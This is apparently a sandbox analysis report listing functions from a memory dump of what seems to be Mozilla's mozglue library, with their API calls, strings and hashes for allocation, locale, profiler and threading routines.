Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8
<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

z, xrefs: 6C61A6AE
0, xrefs: 6C61A5FB

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5F0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F0F88
GetCurrentThreadId.KERNEL32 ref: 6C5F0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5F1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5F10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5F114B

Part of subcall function 6C5E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C601563), ref: 6C5E8BD5

free.MOZGLUE(?), ref: 6C5F1174
free.MOZGLUE(?), ref: 6C5F1186

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction ID: 5dc4cd5d72cd9a2c8126551d804169add4fd2bfe7fd077f56d23809184040024
Opcode Fuzzy Hash: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction Fuzzy Hash: 96618B75A043449BDB14DF25CC80B9AB7F6AFC5308F04891DE8A957712EB71E84ACF86

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C5AEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C625104), ref: 6C5AEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AEFEC
free.MOZGLUE(?), ref: 6C5AF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5AF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AF065
moz_xmalloc.MOZGLUE ref: 6C5AF072

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction ID: 40e24d2299668908c9ad9781d47e5ab1231a25cd0dc0f9df77825805024323f8
Opcode Fuzzy Hash: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
Instruction Fuzzy Hash: 4141F4B1A002059FCB08CFA9DC809AE7765FF89324B240728E916DB794EB71E915C7E5

Function 6C61B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C61B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C61B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C61B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C61B5F4
__Init_thread_footer.LIBCMT ref: 6C61B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C61B61F
std::_Facet_Register.LIBCPMT ref: 6C61B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61B655

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction ID: 1f71f04cfe6d1d077e6d6df7f400f5cb3e6d9534b9819a13942ab196e849e7cb
Opcode Fuzzy Hash: f2ec8b70b07684d4cf0f0aab25e2cf4280ae7eefacb04037f4dbbeb477f763e5
Instruction Fuzzy Hash: 11318471B00214CBCB10DF6AC8949EEB7F5EBCA325F150929D90697740DB38A806CF9A

Function 6C5E6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DFA80: GetCurrentThreadId.KERNEL32 ref: 6C5DFA8D
Part of subcall function 6C5DFA80: AcquireSRWLockExclusive.KERNEL32(6C62F448), ref: 6C5DFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5E67C8

Part of subcall function 6C5F4290: memcpy.VCRUNTIME140(?,?,6C602003,6C600AD9,?,6C600AD9,00000000,?,6C600AD9,?,00000004,?,6C601A62,?,6C602003,?), ref: 6C5F42C4

Strings

vbl, xrefs: 6C5E696C
data, xrefs: 6C5E6593

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vbl
API String ID: 511789754-1095404901
Opcode ID: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction ID: 76854d40968107d371606e8cdc04344036de73bd22231d81875b052ce1f557d6
Opcode Fuzzy Hash: 369c71a260fe7e67a1b24390b5a4041e21f86be7599bc09608e447d5c260b9fa
Instruction Fuzzy Hash: 40D1CE75A08340CFD724DF29C851B9FB7E6AFC9348F10492DE59997B91EB30A809CB52

Function 6C5DD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C5AEB57,?,?,?,?,?,?,?,?,?), ref: 6C5DD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C5AEB57,?), ref: 6C5DD673
free.MOZGLUE(?), ref: 6C5DD888

Strings

WZl, xrefs: 6C5DD5D9, 6C5DD63F
|Enabled, xrefs: 6C5DD81E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WZl$|Enabled
API String ID: 4142949111-2253591229
Opcode ID: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction ID: 94e8c673f1f9dabd18c86c782d384f36b3bf29acdf5d5246b29ac01ef2c475ae
Opcode Fuzzy Hash: 0c7a8bfe7889f99ca0d2cb1a05a9465906010ae34b1be3c1af2b93e896d3b131
Instruction Fuzzy Hash: 06A1F0B0A00308DFDB11CF69C8D0BAEBBF1AF49318F15845CD889AB741D735A885CBA5

Function 6C5B9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C607ABE), ref: 6C5B985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C607ABE), ref: 6C5B98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5B9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5B9918
free.MOZGLUE(?), ref: 6C5B9975

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction ID: 469420df23db0b9212d9f96705172712adc20f024d0b52309ba8852e08e07149
Opcode Fuzzy Hash: 622a4ea26003a80f42b014b8886c3a7e4cc40e449d61d54aad99a273921a4c03
Instruction Fuzzy Hash: 3571AC74604705CFC764CF28C890956BBF1FF9A324B644AADE85AABB90D731F801CB91

Function 6C5BB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE), ref: 6C5BB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5FCC83,?,?,?,?,?,?,?,?,?,6C5FBCAE,?,?,6C5EDC2C), ref: 6C5BB896

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction ID: 26ea383a1718e6e667ebf041aaf31586e61323391111957d0eb3aa9395f32642
Opcode Fuzzy Hash: cc6d24819878ee20c90571fa62423529633b9c5435fc50a6c527d456511455c8
Instruction Fuzzy Hash: 83519A357006008FCB24DF59C9E4A6ABBF5FF89318B69895DE98AA7351C771EC01CB84

Function 6C5F1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5F1BE3,?,?,6C5F1D96,00000000), ref: 6C5F1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5F1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5F1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5F1DDA

Part of subcall function 6C5F1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5F1F03
Part of subcall function 6C5F1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5F1DF2,00000000,00000000), ref: 6C5F1F0C
Part of subcall function 6C5F1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5F1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5F1DF4

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction ID: 9a471be08b50e03592e8f6c06e79911b50f8685a6c83a424bdf97b2465dc7a99
Opcode Fuzzy Hash: b6d7287b3a40ddc3ce9e4fc848ef94815a84db91f4ef79f460e7ce6af70260b7
Instruction Fuzzy Hash: 704159B52007009FCB14DF29C888A56BBF9FB89354F10442DE99A87B41CB75F855CBA5

Function 6C5E84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5E855B
